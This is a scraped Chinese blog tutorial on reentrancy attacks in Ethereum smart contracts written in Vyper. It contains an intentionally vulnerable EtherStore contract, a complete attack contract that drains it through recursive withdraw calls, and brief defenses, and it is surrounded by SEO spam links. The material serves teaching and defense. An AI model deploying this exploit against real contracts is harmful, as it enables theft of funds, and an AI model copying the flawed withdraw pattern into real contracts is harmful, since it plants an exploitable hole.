当前位置: 首页 > news >正文

做软装什么网站可以吗手机推广平台有哪些

做软装什么网站可以吗,手机推广平台有哪些,深圳wordpress,做一个论坛网站要多少钱什么是重入攻击 Reentrancy攻击是以太坊智能合约中最具破坏性的攻击之一。当一个函数对另一个不可信合约进行外部调用时,就会发生重入攻击。然后,不可信合约会递归调用原始函数,试图耗尽资金。 当合约在发送资金之前未能更新其状态时&#…

什么是重入攻击

Reentrancy攻击是以太坊智能合约中最具破坏性的攻击之一。当一个函数对另一个不可信合约进行外部调用时,就会发生重入攻击。然后,不可信合约会递归调用原始函数,试图耗尽资金。

当合约在发送资金之前未能更新其状态时,攻击者可以不断调用提取函数以耗尽合约资金。一个著名的真实世界重入攻击案例是DAO攻击,导致损失了6000万美元。
image.png

重入攻击工作原理

重入攻击涉及两个智能合约。一个是易受攻击的合约,另一个是攻击者的不可信合约。

image.png

重入攻击场景

  1. 易受攻击的智能合约有10个ETH。
  2. 攻击者使用存款函数存入1个ETH。
  3. 攻击者调用提取函数,并将恶意合约作为接收者。
  4. 现在提取函数将验证它是否可以执行:
  • 攻击者在其余额上有1个ETH吗?是的,因为他们的存款。
  • 向恶意合约转移1个ETH。(注意:攻击者的余额尚未更新)
  • 恶意合约接收到ETH后的回退函数再次调用提取函数。

现在提取函数将再次验证它是否可以执行:

  • 攻击者在其余额上有1个ETH吗?是的,因为余额尚未更新。
  • 向恶意合约转移1个ETH。
  • 如此反复,直到攻击者耗尽合约中的所有资金。

Vyper重入攻击

可能大家对solidity的智能合约重入攻击比较熟悉,本次文章中,我们将以Vyper的代码展示重入攻击的漏洞。
image.png

Vyper存在重入攻击的代码示例

# @version >=0.3.2"""
@notice EtherStore is a contract where you can deposit ETH and withdraw that same amount of ETH later.
This contract is vulnerable to re-entrancy attack. Here is the attack flow:
1. Deposit 1 ETH each from Account 1 (Alice) and Account 2 (Bob) into EtherStore.
2. Deploy the Attack contract.
3. Call the Attack contract's attack function sending 1 ether (using Account 3 (Eve)).You will get 3 Ethers back (2 Ether stolen from Alice and Bob,plus 1 Ether sent from this contract).What happened?
Attack was able to call EtherStore.withdraw multiple times before
EtherStore.withdraw finished executing.
"""# @notice Mapping from address to ETH balance held in the contract
balances: public(HashMap[address, uint256])# @notice Function to deposit ETH into the contract
@external
@payable
def deposit():self.balances[msg.sender] += msg.value# @notice Function to withdraw the ETH deposited into the contract
@external
def withdraw():bal: uint256 = self.balances[msg.sender]assert bal > 0, "This account does not have a balance"# @dev Send the user's balance to them using raw callraw_call(msg.sender, b'', value=bal)# @dev Set user's balance to 0self.balances[msg.sender] = 0# @notice Helper function to get the balance of the contract
@external
@view
def getBalance() -> uint256:return self.balance

Vyper利用上述重入漏洞的攻击合约

# @version >=0.3.2"""
@notice Here is the order of function calls during the attack
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack.default (receives 1 Ether)
- EtherStore.withdraw
- Attack.default (receives 1 Ether)
- EtherStore.withdraw
- Attack.ldefault (receives 1 Ether)
"""# @notice Interface with the Etherstore contract
interface IEtherstore:def deposit(): payabledef withdraw(): nonpayabledef getBalance() -> uint256: view# @notice The address where the Etherstore contract is deployed
victim: public(address)# @notice Set the victim address
@external
def setVictim(_victim:address):self.victim = _victim# @notice Default is called when EtherStore sends ETH to this contract.
@external
@payable
def __default__():# @dev Checks if the balance of the Etherstore contract is greater than 1 ETH (in wei)if IEtherstore(self.victim).getBalance() >= as_wei_value(1, "ether"):IEtherstore(self.victim).withdraw()@external
@payable
def attack():assert msg.value >= as_wei_value(1, "ether"), "Must send 1 ETH"IEtherstore(self.victim).deposit(value=as_wei_value(1, "ether"))IEtherstore(self.victim).withdraw()# @notice Helper function to get the balance of the contract
@external
@view
def getBalance() -> uint256:return self.balance

Vyper重入漏洞防御措施

  1. 使用 send() 代替 call():重入攻击将失败,因为 send() 不会转发足够的 gas 进行下一步操作。

  2. 使用 @nonreentrant(<key>) 修饰符:在你的提取函数上应用此修饰符将阻止重入攻击。

总结

在这篇文章中,我们探讨了Vyper智能合约中重入攻击的机制、案例以及防御方法。重入攻击是一种严重的安全威胁,当合约在发送资金之前未能更新其状态时,攻击者可以通过递归调用提取函数来耗尽合约资金。重入攻击不仅仅在solidity中很常见,在Vyper智能合约中同样应该注意!

http://www.zhongyajixie.com/news/49867.html

相关文章:

  • 小程序开发平台新参考价格seo什么意思
  • 注册网站名字百度短链接在线生成
  • 上海景点排名前十镇江seo公司
  • 胶州网站制作seo网站优化价格
  • 湘潭网站建设 磐石网络实惠快速seo关键词优化方案
  • 海南行指三亚网站开发互联网广告行业
  • 外贸网站模板源码如何建立个人网站的步骤
  • 建设局招聘条件站内关键词自然排名优化
  • 东莞市疾控中心地址seo必备软件
  • 人人建站网络推广理实一体化软件
  • 有个做偷拍的网站是什么网店运营推广方案
  • 免费做网站送域名的seo排名分析
  • 广州专业做网站公司有哪些合肥网站推广公司
  • 工业设计是很差的专业优就业seo
  • 珠海公司注册林哥seo
  • 外贸网站设计制作优化推广下载班级优化大师
  • 做建材外贸哪个网站比较好什么软件推广效果好
  • 沈阳男科医院在哪百度sem优化师
  • crm系统有哪些seo排名是什么
  • 网站开发建设合同范本西安市seo排名按天优化
  • 安徽网站排名杭州全网推广
  • 延边州住房城乡建设局网站最靠谱的十大教育机构
  • 创意网站布局全国疫情最新信息
  • 做网站的公司没给做好能起诉吗代做百度关键词排名
  • wordpress 500ms网站优化公司上海
  • 巩义网站建设案例课堂百度推广的费用
  • 购买完域名后怎么做网站网络营销的含义
  • 嘉兴网站建设哪家好最近在线直播免费观看
  • 做自由行的网站好百度上广告怎么搞上去的
  • 不用写代码做的网站进行seo网站建设